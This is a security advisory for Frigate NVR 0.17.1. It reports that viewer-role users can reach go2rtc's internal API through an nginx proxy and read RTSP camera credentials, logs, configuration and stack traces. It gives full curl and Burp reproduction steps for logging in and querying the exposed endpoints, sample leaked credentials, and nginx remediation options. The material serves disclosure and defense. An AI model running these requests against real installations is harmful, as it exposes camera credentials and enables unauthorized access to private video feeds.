Skip to content

Viewer-Role User Can Access go2rtc Internal API to obtain sensitive information

High
blakeblackshear published GHSA-mgh5-cr9h-g6hr Jun 28, 2026

Package

No package listed

Affected versions

0.17.1

Patched versions

None

Description

Vulnerability Information

  • Product: Frigate NVR
  • Version: 0.17.1 (latest release)
  • Vendor: blakeblackshear (https://github.com/blakeblackshear/frigate)
  • Vulnerability Type: Broken Access Control / Information Disclosure
  • CWE: CWE-863 (Incorrect Authorization) / CWE-522 (Insufficiently Protected Credentials)
  • CVSS v3.1 Score: 7.7 (High)
  • CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
  • Attack Vector: Network
  • Authentication Required: Low (viewer role)

Summary

Frigate NVR version 0.17.1 proxies the go2rtc internal REST API via nginx at /api/go2rtc/api. The nginx location block uses prefix matching and limit_except GET to restrict HTTP methods, but allows any authenticated user (including the lowest-privilege viewer role) to issue GET requests to the full go2rtc API. This exposes the go2rtc internal state including version information, configuration file paths, internal IP addresses, RTSP listener addresses, and complete application logs. When cameras are configured, the go2rtc logs and streams API expose RTSP stream URLs containing plaintext credentials (e.g., rtsp://admin:password@camera_ip/stream). Additionally, the go2rtc debug stack endpoint is accessible, leaking Go goroutine stack traces with internal memory addresses and library versions.

Affected Component

  • File: docker/main/rootfs/usr/local/nginx/conf/nginx.conf (lines 228-235)

Root Cause

# nginx.conf, lines 228-235
location /api/go2rtc/api {
    include auth_request.conf;    # Requires auth, but any role passes
    limit_except GET {
        deny  all;                # Only allows GET
    }
    proxy_pass http://go2rtc/api; # Proxies to full go2rtc API
    include proxy.conf;
}

The nginx location /api/go2rtc/api uses prefix matching, meaning any path starting with /api/go2rtc/api is matched. This proxies the request to http://go2rtc/api, effectively exposing all go2rtc sub-endpoints:

  • /api/go2rtc/apihttp://go2rtc/api (version info)
  • /api/go2rtc/api/streamshttp://go2rtc/api/streams (stream URLs with credentials)
  • /api/go2rtc/api/confighttp://go2rtc/api/config (configuration)
  • /api/go2rtc/api/loghttp://go2rtc/api/log (complete logs)
  • /api/go2rtc/api/stackhttp://go2rtc/api/stack (goroutine stack trace)

The auth_request.conf only verifies the user is authenticated, not that they have admin role. The limit_except GET blocks POST/PUT/DELETE methods, preventing destructive operations like /api/exit and /api/restart, but all read operations are exposed.

Prerequisites

  • A running Frigate NVR instance (version 0.17.1) with authentication enabled.
  • Valid credentials for any user account, including the lowest-privilege viewer role.

Reproduction Steps

Step 1: Login as Viewer

VIEWER_RESP=$(curl -sk -D- -X POST https://<TARGET_IP>:8971/api/login \
  -H "Content-Type: application/json" \
  -d '{"user":"<viewer_username>","password":"<viewer_password>"}')
VIEWER_TOKEN=$(echo "$VIEWER_RESP" | grep "set-cookie" | grep -o 'frigate_token=[^;]*')

Step 2: Access go2rtc Internal API

# 1. Version, host IP, RTSP config
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api

Expected Output:

{
    "config_path": "/config/go2rtc_homekit.yml",
    "host": "192.168.1.32",
    "revision": "df95ce3",
    "rtsp": {
        "listen": ":8554",
        "default_query": "video&audio"
    },
    "version": "1.9.10"
}
# 2. Stream URLs (contains RTSP credentials when cameras are configured)
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/streams

Actual Output (confirmed on 192.168.1.32:8971 with viewer-role user poc_viewer):

{
    "front_door": {
        "producers": [
            {"url": "rtsp://admin:SuperSecret123@192.168.1.100:554/stream1"}
        ],
        "consumers": null
    },
    "bedroom": {
        "producers": [
            {"url": "rtsp://admin:BedroomPass456@192.168.1.101:554/stream1"}
        ],
        "consumers": null
    }
}
Screenshot 2026-03-31 at 15 46 10
# 3. Internal application log
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/log
# 4. Go goroutine stack trace (internal debug info)
curl -sk -b "$VIEWER_TOKEN" https://<TARGET_IP>:8971/api/go2rtc/api/stack

Expected Output (truncated):

goroutine 9 [IO wait]:
internal/poll.runtime_pollWait(0x7f3f01743c00, 0x72)
    runtime/netpoll.go:351 +0x85
...

Step 3: Confirm Admin API Endpoints are Blocked

# POST operations are blocked by limit_except GET
curl -sk -b "$VIEWER_TOKEN" -X POST -o /dev/null -w "HTTP %{http_code}" \
  https://<TARGET_IP>:8971/api/go2rtc/api/exit
# Expected: HTTP 403

Burp Suite POC

GET /api/go2rtc/api/streams HTTP/1.1
Host: <TARGET_IP>:8971
Cookie: frigate_token=<viewer_jwt_token>
Connection: close

Impact

  • Credential Disclosure: When cameras are configured with RTSP URLs containing credentials (e.g., rtsp://admin:password@camera_ip/stream), a viewer-role user can read these credentials via /api/go2rtc/api/streams. This enables:
    • Direct access to camera administration interfaces
    • Recording manipulation outside of Frigate
    • Lateral movement to other network devices using reused credentials
  • Internal Network Reconnaissance: The response includes internal IP addresses, port configurations, and service versions (go2rtc, RTSP listener, WebRTC listener).
  • Debug Information Leak: The goroutine stack trace reveals internal library versions, memory layouts, and execution paths, aiding targeted exploitation.

Remediation

Restrict the go2rtc API proxy to admin-only access, or filter to only the specific sub-endpoints that non-admin users need:

# Option 1: Restrict entire go2rtc API to admin
location /api/go2rtc/api {
    include auth_request.conf;
    # Add admin role check via auth subrequest
    limit_except GET { deny all; }
    proxy_pass http://go2rtc/api;
    include proxy.conf;
}

# Option 2: Only expose safe sub-endpoints
location = /api/go2rtc/api {       # Exact match for version only
    include auth_request.conf;
    limit_except GET { deny all; }
    proxy_pass http://go2rtc/api;
    include proxy.conf;
}
# Block /api/go2rtc/api/streams, /api/go2rtc/api/log, /api/go2rtc/api/stack, etc.

Timeline

  • 2026-03-31: Vulnerability discovered and confirmed on Frigate NVR 0.17.1 (latest release).

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-75608

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits